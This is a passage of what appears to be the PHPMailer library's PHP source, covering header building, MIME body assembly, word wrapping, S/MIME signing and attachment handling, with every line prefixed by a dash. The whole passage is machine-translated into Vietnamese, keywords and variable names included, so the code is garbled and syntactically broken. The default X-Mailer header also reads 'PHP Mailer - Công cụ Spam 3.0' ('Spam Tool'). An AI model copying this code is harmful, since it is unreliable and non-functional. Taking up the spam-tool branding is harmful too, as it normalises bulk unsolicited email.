- 'smtp_connect_failed' => 'Kết nối SMTP () không thành công.',
- 'smtp_error' => 'SMTP server error:',
- 'variable_set' => 'Không thể thiết lập hoặc đặt lại biến:',
- 'extension_missing' => 'Phần mở rộng bị thiếu:'
- );
- if (empty ($ lang_path)) {
- // Tính toán một đường dẫn tuyệt đối để nó có thể hoạt động nếu CWD không có ở đây
- $ lang_path = dirname (__ FILE__). DIRECTORY_SEPARATOR. 'ngôn ngữ'. DIRECTORY_SEPARATOR;
- }
- $ foundlang = true;
- $ lang_file = $ lang_path. 'phpmailer.lang-'. $ langcode. '.php';
- // Không có tệp dịch tiếng Anh
- if ($ langcode! = 'en') {
- / / Hãy chắc chắn rằng đường dẫn tập tin ngôn ngữ có thể đọc được
- if (! is_readable ($ lang_file)) {
- $ foundlang = false;
- } else {
- // Ghi đè các chuỗi cụ thể về ngôn ngữ.
- // Bằng cách này chúng ta sẽ không bao giờ bị thiếu các phím dịch.
- $ findlang = include $ lang_file;
- }
- }
- $ this-> language = $ PHPMAILER_LANG;
- return (boolean) $ foundlang; // Trả về false nếu không tìm thấy ngôn ngữ
- }
- / **
- * Lấy mảng các chuỗi cho ngôn ngữ hiện tại.
- * mảng trả về
- * /
- getTranslations chức năng công cộng ()
- {
- return $ this-> language;
- }
- / **
- * Tạo tiêu đề người nhận.
- * @ truy cập công cộng
- * @param string $ type
- * @param array $ addr Một mảng của người nhận,
- * nơi mỗi người nhận là mảng được lập chỉ mục 2 phần tử với phần tử 0 chứa địa chỉ
- * và phần tử 1 chứa tên, như:
- * mảng (mảng ('joe@example.com ',' Joe User '), mảng ('zoe@example.com', 'Zoe User'))
- * chuỗi trả về
- * /
- hàm công cộng addrAppend ($ type, $ addr)
- {
- $ address = array ();
- foreach ($ addr as $ address) {
- $ địa chỉ [] = $ this-> addrFormat ($ address);
- }
- kiểu trả về $. ':'. implode (',', $ địa chỉ). $ this-> LE;
- }
- / **
- * Định dạng địa chỉ để sử dụng trong tiêu đề thư.
- * @ truy cập công cộng
- * @param array $ addr Một mảng được lập chỉ mục 2 phần tử, phần tử 0 chứa địa chỉ, phần tử 1 chứa tên
- * như mảng ('joe@example.com ',' Người dùng Joe ')
- * chuỗi trả về
- * /
- công cộng addrFormat ($ addr)
- {
- if (empty ($ addr [1])) {// Không cung cấp tên
- return $ this-> secureHeader ($ addr [0]);
- } else {
- return $ this-> encodeHeader ($ this-> secureHeader ($ addr [1]), 'cụm từ'). '<'. $ this-> secureHeader (
- $ addr [0]
- ). '>';
- }
- }
- / **
- * Word-bọc tin nhắn.
- * Để sử dụng với các mailer không tự động thực hiện gói
- * và cho các tin nhắn được mã hoá trích dẫn in được.
- * Bản gốc được viết bởi philippe.
- * @param string $ message Thông báo để quấn
- * @param integer $ length Chiều dài đường dây để quấn vào
- * @param boolean $ qp_mode Cho dù chạy ở chế độ Quoted-Printable
- * @ truy cập công cộng
- * chuỗi trả về
- * /
- hàm công cộng đóng góiText ($ message, $ length, $ qp_mode = false)
- {
- if ($ qp_mode) {
- $ soft_break = sprintf ('=% s', $ this-> LE);
- } else {
- $ soft_break = $ this-> LE;
- }
- / / Nếu mã hoá utf-8 được sử dụng, chúng tôi sẽ cần đảm bảo chúng tôi không
- / / tách các ký tự đa bit khi chúng ta quấn
- $ is_utf8 = (strtolower ($ this-> CharSet) == 'utf-8');
- $ lelen = strlen ($ this-> LE);
- $ crlflen = strlen (tự :: CRLF);
- $ message = $ this-> fixEOL ($ message);
- / / Hủy bỏ một dấu chấm dòng cuối
- if (substr ($ message, - $ lelen) == $ this-> LE) {
- $ message = substr ($ message, 0, - $ lelen);
- }
- // Chia nhỏ thông điệp thành các dòng
- $ lines = explode ($ this-> LE, $ message);
- // Thông báo sẽ được xây dựng lại tại đây
- $ message = '';
- foreach ($ dòng như $ dòng) {
- $ words = explode ('', $ line);
- $ buf = '';
- $ firstword = true;
- foreach ($ từ như $ từ) {
- if ($ qp_mode và (strlen ($ word)> $ length)) {
- $ space_left = $ length - strlen ($ buf) - $ crlflen;
- if ($ firstword) {
- if ($ space_left> 20) {
- $ len = $ space_left;
- if ($ is_utf8) {
- $ len = $ this-> utf8CharBoundary ($ word, $ len);
- } elseif (substr ($ word, $ len - 1, 1) == '=') {
- $ len--;
- } elseif (substr ($ từ, $ len - 2, 1) == '=') {
- $ len - = 2;
- }
- $ phần = substr ($ word, 0, $ len);
- $ word = substr ($ word, $ len);
- $ buf. = ''. $ phần;
- $ message. = $ buf. sprintf ('=% s', tự :: CRLF);
- } else {
- $ message. = $ buf. $ soft_break;
- }
- $ buf = '';
- }
- trong khi (strlen ($ word)> 0) {
- if ($ length <= 0) {
- phá vỡ;
- }
- $ len = $ length;
- if ($ is_utf8) {
- $ len = $ this-> utf8CharBoundary ($ word, $ len);
- } elseif (substr ($ word, $ len - 1, 1) == '=') {
- $ len--;
- } elseif (substr ($ từ, $ len - 2, 1) == '=') {
- $ len - = 2;
- }
- $ phần = substr ($ word, 0, $ len);
- $ word = substr ($ word, $ len);
- if (strlen ($ word)> 0) {
- $ message. = phần một. sprintf ('=% s', tự :: CRLF);
- } else {
- $ buf = $ phần;
- }
- }
- } else {
- $ buf_o = $ buf;
- if ($ firstword) {
- $ buf. = '';
- }
- $ buf. = $ word;
- if (strlen ($ buf)> $ length và $ buf_o! = '') {
- $ message. = $ buf_o. $ soft_break;
- $ buf = $ word;
- }
- }
- $ firstword = false;
- }
- $ message. = $ buf. tự :: CRLF;
- }
- trả về $ tin nhắn;
- }
- / **
- * Tìm ranh giới nhân vật mới nhất trước $ maxLength trong một utf-8
- * chuỗi mã hoá trích dẫn in được.
- * Bản gốc được viết bởi Colin Brown.
- * @ truy cập công cộng
- * @param string $ encodedText utf-8 QP text
- * @param số nguyên $ maxLength Tìm ranh giới ký tự cuối cùng trước chiều dài này
- * số nguyên
- * /
- hàm công cộng utf8CharBoundary ($ encodedText, $ maxLength)
- {
- $ foundSplitPos = false;
- $ lookBack = 3;
- trong khi (! $ foundSplitPos) {
- $ lastChunk = substr ($ encodedText, $ maxLength - $ lookBack, $ lookBack);
- $ encodedCharPos = strpos ($ lastChunk, '=');
- if (false! == $ encodedCharPos) {
- / / Tìm thấy bắt đầu của byte nhân vật được mã hóa trong vòng $ lookBack.
- // Kiểm tra giá trị byte được mã hóa (2 ký tự sau '=')
- $ hex = substr ($ encodedText, $ maxLength - $ lookBack + $ encodedCharPos + 1, 2);
- $ dec = hexdec ($ hex);
- if ($ dec <128) {
- / / Nhân vật byte đơn.
- / / Nếu char được mã hoá được tìm thấy ở pos 0, nó sẽ phù hợp
- // nếu không làm giảm maxLength để bắt đầu mã hóa char
- if ($ encodedCharPos> 0) {
- $ maxLength = $ maxLength - ($ lookBack - $ encodedCharPos);
- }
- $ foundSplitPos = true;
- } elseif ($ dec> = 192) {
- // byte đầu tiên của một ký tự đa byte
- / / Giảm maxLength để phân chia lúc bắt đầu của nhân vật
- $ maxLength = $ maxLength - ($ lookBack - $ encodedCharPos);
- $ foundSplitPos = true;
- } elseif ($ dec <192) {
- / / Byte trung của một nhân vật đa byte, nhìn xa hơn trở lại
- $ lookBack + = 3;
- }
- } else {
- // Không tìm thấy ký tự được mã hóa
- $ foundSplitPos = true;
- }
- }
- return $ maxLength;
- }
- / **
- * Áp dụng gói từ cho cơ thể thư.
- * Bao gồm cơ thể thư đến số ký tự được đặt trong thuộc tính WordWrap.
- * Bạn chỉ nên làm điều này cho các cơ quan văn bản thuần túy như là gói các thẻ HTML có thể phá vỡ chúng.
- * Tên này được gọi tự động bởi createBody (), vì vậy bạn không cần tự gọi nó.
- * @ truy cập công cộng
- * trở về trạng thái trống
- * /
- chức năng công cộng setWordWrap ()
- {
- if ($ this-> WordWrap <1) {
- trở về;
- }
- chuyển đổi ($ this-> message_type) {
- trường hợp 'alt':
- trường hợp 'alt_inline':
- trường hợp 'alt_attach':
- trường hợp 'alt_inline_attach':
- $ this-> AltBody = $ this-> wrapText ($ this-> AltBody, $ this-> WordWrap);
- phá vỡ;
- mặc định:
- $ this-> Body = $ this-> wrapText ($ this-> Body, $ this-> WordWrap);
- phá vỡ;
- }
- }
- / **
- * Hợp nhất tiêu đề thư.
- * @ truy cập công cộng
- * @ return chuỗi Các tiêu đề đã được lắp ráp
- * /
- hàm công cộng createHeader ()
- {
- $ result = '';
- if ($ this-> MessageDate == '') {
- $ this-> MessageDate = self :: rfcDate ();
- }
- $ result. = $ this-> headerLine ('Ngày', $ this-> MessageDate);
- // Được tạo tự động bằng thư ()
- if ($ this-> SingleTo) {
- if ($ this-> Mailer! = 'mail') {
- foreach ($ this-> to as $ toaddr) {
- $ this-> SingleToArray [] = $ this-> addrFormat ($ toaddr);
- }
- }
- } else {
- if (count ($ this-> to)> 0) {
- if ($ this-> Mailer! = 'mail') {
- $ result. = $ this-> addrAppend ('To', $ this-> to);
- }
- } elseif (count ($ this-> cc) == 0) {
- $ result. = $ this-> headerLine ('To', 'unisclosed-recipients :;');
- }
- }
- $ result. = $ this-> addrAppend ('Từ', mảng (mảng (trim ($ this-> From), $ this-> FromName)));
- / / sendmail và mail () trích xuất Cc từ tiêu đề trước khi gửi
- if (count ($ this-> cc)> 0) {
- $ result. = $ this-> addrAppend ('Cc', $ this-> cc);
- }
- / / sendmail và mail () trích xuất Bcc từ tiêu đề trước khi gửi
- nếu ((
- $ this-> Mailer == 'sendmail' hoặc $ this-> Mailer == 'qmail' hoặc $ this-> Mailer == 'mail'
- )
- và đếm ($ this-> bcc)> 0
- ) {
- $ result. = $ this-> addrAppend ('Bcc', $ this-> bcc);
- }
- if (count ($ this-> ReplyTo)> 0) {
- $ result. = $ this-> addrAppend ('Reply-To', $ this-> ReplyTo);
- }
- // mail () đặt chính chủ đề
- if ($ this-> Mailer! = 'mail') {
- $ result. = $ this-> headerLine ('Subject', $ this-> encodeHeader ($ this-> secureHeader ($ this-> Subject)));
- }
- if ($ this-> MessageID! = '') {
- $ this-> lastMessageID = $ this-> MessageID;
- } else {
- $ this-> lastMessageID = sprintf ('<% s @% s>', $ this-> uniqueid, $ this-> serverHostname ());
- }
- $ result. = $ this-> headerLine ('Message-ID', $ this-> lastMessageID);
- if (! is_null ($ this-> Priority)) {
- $ result. = $ this-> headerLine ('Ưu tiên X', $ this-> Ưu tiên);
- }
- if ($ this-> XMailer == '') {
- $ result. = $ this-> headerLine (
- 'X-Mailer',
- 'PHP Mailer - Công cụ Spam 3.0'
- );
- } else {
- $ myXmailer = trim ($ this-> XMailer);
- if ($ myXmailer) {
- $ result. = $ this-> headerLine ('X-Mailer', $ myXmailer);
- }
- }
- if ($ this-> ConfirmReadingTo! = '') {
- $ result. = $ this-> headerLine ('Disposition-Notification-To', '<'. $ this-> ConfirmReadingTo. '>');
- }
- // Thêm tiêu đề tuỳ chỉnh
- foreach ($ this-> CustomHeader as header $) {
- $ result. = $ this-> headerLine (
- trim ($ header [0]),
- $ this-> encodeHeader (trim ($ header [1]))
- );
- }
- if (! $ this-> sign_key_file) {
- $ result. = $ this-> headerLine ('MIME-Version', '1.0');
- $ result. = $ this-> getMailMIME ();
- }
- trả về $ kết quả;
- }
- / **
- * Nhận được các tiêu đề loại MIME.
- * @ truy cập công cộng
- * chuỗi trả về
- * /
- công chức getMailMIME ()
- {
- $ result = '';
- $ ismultipart = true;
- chuyển đổi ($ this-> message_type) {
- trường hợp 'nội tuyến':
- $ result. = $ this-> headerLine ('Content-Type', 'multipart / related;');
- $ result. = $ this-> textLine ("\ tboundary = \" "." $ this-> boundary [1]. '' ');
- phá vỡ;
- trường hợp 'đính kèm':
- trường hợp 'inline_attach':
- trường hợp 'alt_attach':
- trường hợp 'alt_inline_attach':
- $ result. = $ this-> headerLine ('Content-Type', 'multipart / mixed;');
- $ result. = $ this-> textLine ("\ tboundary = \" "." $ this-> boundary [1]. '' ');
- phá vỡ;
- trường hợp 'alt':
- trường hợp 'alt_inline':
- $ result. = $ this-> headerLine ('Content-Type', 'multipart / alternative;');
- $ result. = $ this-> textLine ("\ tboundary = \" "." $ this-> boundary [1]. '' ');
- phá vỡ;
- mặc định:
- / / Catches trường hợp 'đồng bằng': và trường hợp '':
- $ result. = $ this-> textLine ('Content-Type:'. $ this-> ContentType. '; charset ='. $ this-> CharSet);
- $ ismultipart = false;
- phá vỡ;
- }
- / / RFC1341 phần 5 nói 7bit là giả định nếu không được chỉ định
- if ($ this-> Encoding! = '7bit') {
- / / RFC 2045 phần 6.4 nói rằng nhiều phần MIME chỉ có thể sử dụng 7bit, 8bit hoặc nhị phân CTE
- if ($ ismultipart) {
- if ($ this-> Encoding == '8bit') {
- $ result. = $ this-> headerLine ('Content-Transfer-Encoding', '8bit');
- }
- // Các giải pháp duy nhất còn lại được trích dẫn-in được và base64, có khả năng tương thích với 7bit
- } else {
- $ result. = $ this-> headerLine ('Content-Transfer-Encoding', $ this-> Encoding);
- }
- }
- if ($ this-> Mailer! = 'mail') {
- $ result. = $ this-> LE;
- }
- trả về $ kết quả;
- }
- / **
- * Trả lại toàn bộ thông điệp MIME.
- * Bao gồm tiêu đề hoàn chỉnh và thân.
- * Chỉ hợp lệ đăng preSend ().
- * @see PHPMailer :: preSend ()
- * @ truy cập công cộng
- * chuỗi trả về
- * /
- hàm công cộng getSentMIMEMessage ()
- {
- return $ this-> MIMEHeader. $ this-> mailHeader. tự :: CRLF. $ this-> MIMEBody;
- }
- / **
- * Lắp ráp cơ thể thư.
- * Trả lại một chuỗi rỗng khi thất bại.
- * @ truy cập công cộng
- * @throws phpmailerException
- * @ return chuỗi Cơ thể thông báo được lắp ráp
- * /
- công chức createBody ()
- {
- $ body = '';
- // Tạo các ID và ranh giới đặt trước
- $ this-> uniqueid = md5 (uniqid (time ()));
- $ this-> boundary [1] = 'b1_'. $ this-> uniqueid;
- $ this-> boundary [2] = 'b2_'. $ this-> uniqueid;
- $ this-> boundary [3] = 'b3_'. $ this-> uniqueid;
- if ($ this-> sign_key_file) {
- $ body. = $ this-> getMailMIME (). $ this-> LE;
- }
- $ this-> setWordWrap ();
- $ bodyEncoding = $ this-> Encoding;
- $ bodyCharSet = $ this-> CharSet;
- // Chúng tôi có thể thực hiện hạ cấp 7-bit không?
- nếu ($ bodyEncoding == '8bit' và! $ this-> has8bitChars ($ this-> Body)) {
- $ bodyEncoding = '7bit';
- $ bodyCharSet = 'chúng tôi-ascii';
- }
- // Nếu đường dây quá dài, và chúng tôi chưa sử dụng mã hóa sẽ rút ngắn chúng,
- / / chuyển đổi sang mã hóa chuyển nhượng trích dẫn in
- if ('base64'! = $ this-> Mã hóa và tự :: hasLineLongerThanMax ($ this-> Body)) {
- $ this-> Encoding = 'quoted-printable';
- $ bodyEncoding = 'quoted-printable';
- }
- $ altBodyEncoding = $ this-> Encoding;
- $ altBodyCharSet = $ this-> CharSet;
- // Chúng tôi có thể thực hiện hạ cấp 7-bit không?
- nếu ($ altBodyEncoding == '8bit' và! $ this-> has8bitChars ($ this-> AltBody)) {
- $ altBodyEncoding = '7bit';
- $ altBodyCharSet = 'chúng tôi-ascii';
- }
- // Nếu đường dây quá dài, và chúng tôi chưa sử dụng mã hóa sẽ rút ngắn chúng,
- / / chuyển đổi sang mã hóa chuyển nhượng trích dẫn in
- if ('base64'! = $ altBodyEncoding và tự :: hasLineLongerThanMax ($ this-> AltBody)) {
- $ altBodyEncoding = 'quoted-printable';
- }
- / / Sử dụng như là một preamble trong tất cả các loại tin nhiều phần
- $ mimepre = "Đây là một thông điệp đa phần theo định dạng MIME." . $ this-> LE. $ this-> LE;
- chuyển đổi ($ this-> message_type) {
- trường hợp 'nội tuyến':
- $ cơ thể. = $ mimepre;
- $ body. = $ this-> getBoundary ($ this-> boundary [1], $ bodyCharSet, ', $ bodyEncoding);
- $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> attachAll ('inline', $ this-> boundary [1]);
- phá vỡ;
- trường hợp 'đính kèm':
- $ cơ thể. = $ mimepre;
- $ body. = $ this-> getBoundary ($ this-> boundary [1], $ bodyCharSet, ', $ bodyEncoding);
- $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> attachAll ('attachment', $ this-> boundary [1]);
- phá vỡ;
- trường hợp 'inline_attach':
- $ cơ thể. = $ mimepre;
- $ body. = $ this-> textLine ('-'. $ this-> boundary [1]);
- $ body. = $ this-> headerLine ('Content-Type', 'multipart / related;');
- $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> biên giới [2]. '' ');
- $ body. = $ this-> LE;
- $ body. = $ this-> getBoundary ($ this-> boundary [2], $ bodyCharSet, '', $ bodyEncoding);
- $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> attachAll ('nội tuyến', $ this-> ranh giới [2]);
- $ body. = $ this-> LE;
- $ body. = $ this-> attachAll ('attachment', $ this-> boundary [1]);
- phá vỡ;
- trường hợp 'alt':
- $ cơ thể. = $ mimepre;
- $ body. = $ this-> getBoundary ($ this-> boundary [1], $ altBodyCharSet, 'text / plain', $ altBodyEncoding);
- $ body. = $ this-> encodeString ($ this-> AltBody, $ altBodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> getBoundary ($ this-> boundary [1], $ bodyCharSet, 'text / html', $ bodyEncoding);
- $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- if (! empty ($ this-> Ical)) {
- $ body. = $ this-> getBoundary ($ this-> boundary [1], ',' text / calendar, method = REQUEST ',' ');
- $ body. = $ this-> encodeString ($ this-> Ical, $ this-> Encoding);
- $ body. = $ this-> LE. $ this-> LE;
- }
- $ body. = $ this-> endBoundary ($ this-> boundary [1]);
- phá vỡ;
- trường hợp 'alt_inline':
- $ cơ thể. = $ mimepre;
- $ body. = $ this-> getBoundary ($ this-> boundary [1], $ altBodyCharSet, 'text / plain', $ altBodyEncoding);
- $ body. = $ this-> encodeString ($ this-> AltBody, $ altBodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> textLine ('-'. $ this-> boundary [1]);
- $ body. = $ this-> headerLine ('Content-Type', 'multipart / related;');
- $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> biên giới [2]. '' ');
- $ body. = $ this-> LE;
- $ body. = $ this-> getBoundary ($ this-> boundary [2], $ bodyCharSet, 'text / html', $ bodyEncoding);
- $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> attachAll ('nội tuyến', $ this-> ranh giới [2]);
- $ body. = $ this-> LE;
- $ body. = $ this-> endBoundary ($ this-> boundary [1]);
- phá vỡ;
- trường hợp 'alt_attach':
- $ cơ thể. = $ mimepre;
- $ body. = $ this-> textLine ('-'. $ this-> boundary [1]);
- $ body. = $ this-> headerLine ('Content-Type', 'multipart / alternative;');
- $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> biên giới [2]. '' ');
- $ body. = $ this-> LE;
- $ body. = $ this-> getBoundary ($ this-> boundary [2], $ altBodyCharSet, 'text / plain', $ altBodyEncoding);
- $ body. = $ this-> encodeString ($ this-> AltBody, $ altBodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> getBoundary ($ this-> boundary [2], $ bodyCharSet, 'text / html', $ bodyEncoding);
- $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> endBoundary ($ this-> boundary [2]);
- $ body. = $ this-> LE;
- $ body. = $ this-> attachAll ('attachment', $ this-> boundary [1]);
- phá vỡ;
- trường hợp 'alt_inline_attach':
- $ cơ thể. = $ mimepre;
- $ body. = $ this-> textLine ('-'. $ this-> boundary [1]);
- $ body. = $ this-> headerLine ('Content-Type', 'multipart / alternative;');
- $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> biên giới [2]. '' ');
- $ body. = $ this-> LE;
- $ body. = $ this-> getBoundary ($ this-> boundary [2], $ altBodyCharSet, 'text / plain', $ altBodyEncoding);
- $ body. = $ this-> encodeString ($ this-> AltBody, $ altBodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> textLine ('-'. $ this-> boundary [2]);
- $ body. = $ this-> headerLine ('Content-Type', 'multipart / related;');
- $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> ranh giới [3]. '' ');
- $ body. = $ this-> LE;
- $ body. = $ this-> getBoundary ($ this-> boundary [3], $ bodyCharSet, 'text / html', $ bodyEncoding);
- $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
- $ body. = $ this-> LE. $ this-> LE;
- $ body. = $ this-> attachAll ('inline', $ this-> boundary [3]);
- $ body. = $ this-> LE;
- $ body. = $ this-> endBoundary ($ this-> boundary [2]);
- $ body. = $ this-> LE;
- $ body. = $ this-> attachAll ('attachment', $ this-> boundary [1]);
- phá vỡ;
- mặc định:
- / / bắt trường hợp 'đồng bằng' và trường hợp ''
- $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
- phá vỡ;
- }
- if ($ this-> isError ()) {
- $ body = '';
- } elseif ($ this-> sign_key_file) {
- thử {
- if (! defined ('PKCS7_TEXT')) {
- ném phpmailerException mới ($ this-> lang ('extension_missing'). 'openssl');
- }
- / / @TODO sẽ được tốt đẹp để sử dụng php: / / temp suối ở đây, nhưng cần phải bọc cho PHP <5.1
- $ file = tempnam (sys_get_temp_dir (), 'mail');
- if (false === file_put_contents ($ file, $ body)) {
- ném phpmailerException mới ($ this-> lang ('signed'). 'Không thể ghi tập tin temp');
- }
- $ signed = tempnam (sys_get_temp_dir (), 'signed');
- // Giải pháp tạm thời cho lỗi PHP https://bugs.php.net/bug.php?id=69197
- if (empty ($ this-> sign_extracerts_file)) {
- $ sign = @ openssl_pkcs7_sign (
- $ tập tin,
- $ ký,
- 'tập tin://' . realpath ($ this-> sign_cert_file),
- mảng ('file: //'. realpath ($ this-> sign_key_file), $ this-> sign_key_pass),
- vô giá trị
- );
- } else {
- $ sign = @ openssl_pkcs7_sign (
- $ tập tin,
- $ ký,
- 'tập tin://' . realpath ($ this-> sign_cert_file),
- mảng ('file: //'. realpath ($ this-> sign_key_file), $ this-> sign_key_pass),
- vô giá trị,
- PKCS7_DETACHED,
- $ this-> sign_extracerts_file
- );
- }
- if ($ sign) {
- @unlink ($ file);
- $ body = file_get_contents ($ đã ký);
- @unlink ($ đã ký);
- // Thông điệp được trả về bởi openssl chứa cả phần đầu và phần thân, do đó cần phải phân chia chúng
- $ parts = explode ("\ n \ n", $ body, 2);
- $ this-> MIMEHeader. = $ parts [0]. $ this-> LE. $ this-> LE;
- $ body = $ parts [1];
- } else {
- @unlink ($ file);
- @unlink ($ đã ký);
- ném phpmailerException mới ($ this-> lang ('signed'). openssl_error_string ());
- }
- } catch (phpmailerException $ exc) {
- $ body = '';
- if ($ this-> exceptions) {
- ném $ exc;
- }
- }
- }
- trở lại $ cơ thể;
- }
- / **
- * Trả lại bắt đầu của ranh giới thư.
- * @cơ sở bảo vệ
- * ranh giới $ string
- * @param chuỗi $ charSet
- * @param string $ contentType
- * Mã hóa $ string
- * chuỗi trả về
- * /
- bảo vệ hàm getBoundary ($ ranh giới, $ charSet, $ contentType, $ encoding)
- {
- $ result = '';
- if ($ charSet == '') {
- $ charSet = $ this-> CharSet;
- }
- if ($ contentType == '') {
- $ contentType = $ this-> ContentType;
- }
- if ($ encode == '') {
- $ encoding = $ this-> Encoding;
- }
- $ result. = $ this-> textLine ('-'. $ ranh giới);
- $ result. = sprintf ('Content-Type:% s; charset =% s', $ contentType, $ charSet);
- $ result. = $ this-> LE;
- / / RFC1341 phần 5 nói 7bit là giả định nếu không được chỉ định
- if ($ encoding! = '7bit') {
- $ result. = $ this-> headerLine ('Content-Transfer-Encoding', $ mã hóa);
- }
- $ result. = $ this-> LE;
- trả về $ kết quả;
- }
- / **
- * Trả lại kết thúc của ranh giới thư.
- * @cơ sở bảo vệ
- * ranh giới $ string
- * chuỗi trả về
- * /
- được bảo vệ endBoundary ($ ranh giới)
- {
- trả lại $ this-> LE. '-'. ranh giới $. '-'. $ this-> LE;
- }
- / **
- * Thiết lập kiểu tin nhắn.
- * PHPMailer chỉ hỗ trợ một số loại tin nhắn định sẵn,
- * không tùy ý cấu trúc MIME.
- * @cơ sở bảo vệ
- * trở về trạng thái trống
- * /
- bảo vệ hàm setMessageType ()
- {
- $ type = array ();
- if ($ this-> alternativeExists ()) {
- $ type [] = 'alt';
- }
- if ($ this-> inlineImageExists ()) {
- $ type [] = 'nội tuyến';
- }
- if ($ this-> attachmentExists ()) {
- $ type [] = 'đính kèm';
- }
- $ this-> message_type = implode ('_', $ type);
- if ($ this-> message_type == '') {
- $ this-> message_type = 'plain';
- }
- }
- / **
- * Định dạng dòng tiêu đề.
- * @ truy cập công cộng
- * @param string $ name
- * @param chuỗi $ giá trị
- * chuỗi trả về
- * /
- tiêu đề công khai headerLine ($ name, $ value)
- {
- return $ name. ':'. giá trị $. $ this-> LE;
- }
- / **
- * Trả lại một đường dây được định dạng.
- * @ truy cập công cộng
- * @param chuỗi $ giá trị
- * chuỗi trả về
- * /
- chức năng công khai textLine ($ value)
- {
- trả về giá trị $. $ this-> LE;
- }
- / **
- * Thêm một tập tin đính kèm từ một đường dẫn trên hệ thống tập tin.
- * Trả về false nếu không thể tìm thấy hoặc đọc tập tin.
- * @param string $ path Đường dẫn đến tập tin đính kèm.
- * @param string $ name Ghi đè lên tên tệp đính kèm.
- * @param string $ encoding Mã hóa tệp (xem $ Encoding).
- * @param string $ type Loại tệp mở rộng (MIME) type.
- * @param string $ disposition Định hướng sử dụng
- * @throws phpmailerException
- * @ boolean trở lại
- * /
- addAttachment hàm công cộng ($ path, $ name = '', $ encoding = 'base64', $ type = '', $ disposition = 'attachment')
- {
- thử {
- if (! @ is_file ($ path)) {
- ném phpmailerException mới ($ this-> lang ('file_access'). $ path, self :: STOP_CONTINUE;
- }
- / / Nếu một loại MIME không được chỉ định, cố gắng làm việc nó ra từ tên tập tin
- if ($ type == '') {
- $ type = self :: filenameToType ($ path);
- }
- $ filename = basename ($ path);
- if ($ name == '') {
- $ name = $ filename;
- }
- $ this-> attachment [] = mảng (
- 0 => $ đường dẫn,
- 1 => $ tên tập tin,
- 2 => $ tên,
- 3 => $ mã hóa,
- 4 => $ loại,
- 5 => false, // isStringAttachment
- 6 => $ bố trí,
- 7 => 0
- );
- } catch (phpmailerException $ exc) {
- $ this-> setError ($ exc-> getMessage ());
- $ this-> edebug ($ exc-> getMessage ());
- if ($ this-> exceptions) {
- ném $ exc;
- }
- trả lại giả;
- }
- trở lại đúng;
- }
- / **
- * Trả lại mảng các tệp đính kèm.
- * mảng trả về
- * /
- getAttachments hàm công cộng ()
- {
- trả lại $ this-> đính kèm;
- }
- / **
- * Đính kèm tất cả các tập tin, chuỗi, và các tập tin đính kèm nhị phân vào tin nhắn.
- * Trả lại một chuỗi rỗng khi thất bại.
- * @cơ sở bảo vệ
- * @param chuỗi $ disposition_type
- * ranh giới $ string
- * chuỗi trả về
- * /
- chức năng bảo vệ attachAll ($ disposition_type, $ ranh giới)
- {
- / / Trở lại văn bản của cơ thể
- $ mime = array ();
- $ cidUniq = mảng ();
- $ bao gồm mảng ();
- // Thêm tất cả các tệp đính kèm
- foreach ($ this-> attachment as $ attachment) {
- / / Kiểm tra nếu nó là một disposition_filter hợp lệ
- if ($ attachment [6] == $ disposition_type) {
- / / Kiểm tra tập tin đính kèm chuỗi
- $ string = '';
- $ path = '';
- $ bString = $ tệp đính kèm [5];
- if ($ bString) {
- $ string = $ attachment [0];
- } else {
- $ path = $ attachment [0];
- }
- $ inclhash = md5 (serialize ($ attachment));
- if (in_array ($ inclhash, $ incl)) {
- tiếp tục;
- }
- $ bao gồm [] = $ inclhash;
- $ name = $ attachment [2];
- $ encoding = $ attachment [3];
- $ type = $ attachment [4];
- $ disposition = $ attachment [6];
- $ cid = $ tệp đính kèm [7];
- if ($ disposition == 'inline' && array_key_exists ($ cid, $ cidUniq)) {
- tiếp tục;
- }
- $ cidUniq [$ cid] = true;
- $ mime [] = sprintf ('-% s% s', $ ranh giới, $ this-> LE);
- // Chỉ bao gồm một thuộc tính tên tệp nếu chúng ta có một
- if (! empty ($ name)) {
- $ mime [] = sprintf (
- 'Loại nội dung; name = "% s"% s ',
- $ loại,
- $ this-> encodeHeader ($ this-> secureHeader ($ name)),
- $ this-> LE
- );
- } else {
- $ mime [] = sprintf (
- 'Loại nội dung:% s% s',
- $ loại,
- $ this-> LE
- );
- }
- / / RFC1341 phần 5 nói 7bit là giả định nếu không được chỉ định
- if ($ encoding! = '7bit') {
- $ mime [] = sprintf ('Content-Transfer-Encoding:% s% s', $ mã hóa, $ this-> LE);
- }
- if ($ disposition == 'inline') {
- $ mime [] = sprintf ('Content-ID: <% s>% s', $ cid, $ this-> LE);
- }
- / / Nếu một tên tập tin có chứa bất kỳ của các ký tự này, cần được trích dẫn,
- // nhưng không phải là khác: RFC2183 & RFC2045 5.1
- // Khắc phục lời cảnh báo trong trình kiểm tra MIME MSglint của IETF
- // Cho phép bỏ qua tiêu đề Content-Disposition hoàn toàn
- if (! (trống ($ bố trí))) {
- $ encoded_name = $ this-> encodeHeader ($ this-> secureHeader ($ name));
- if (preg_match ('/ [\ (\) <> @,:: \\ "\ / \ [\] \? =] /', $ encoded_name)) {
- $ mime [] = sprintf (
- 'Content-Disposition:% s; filename = "% s"% s ',
- $ bố trí,
- $ encoded_name,
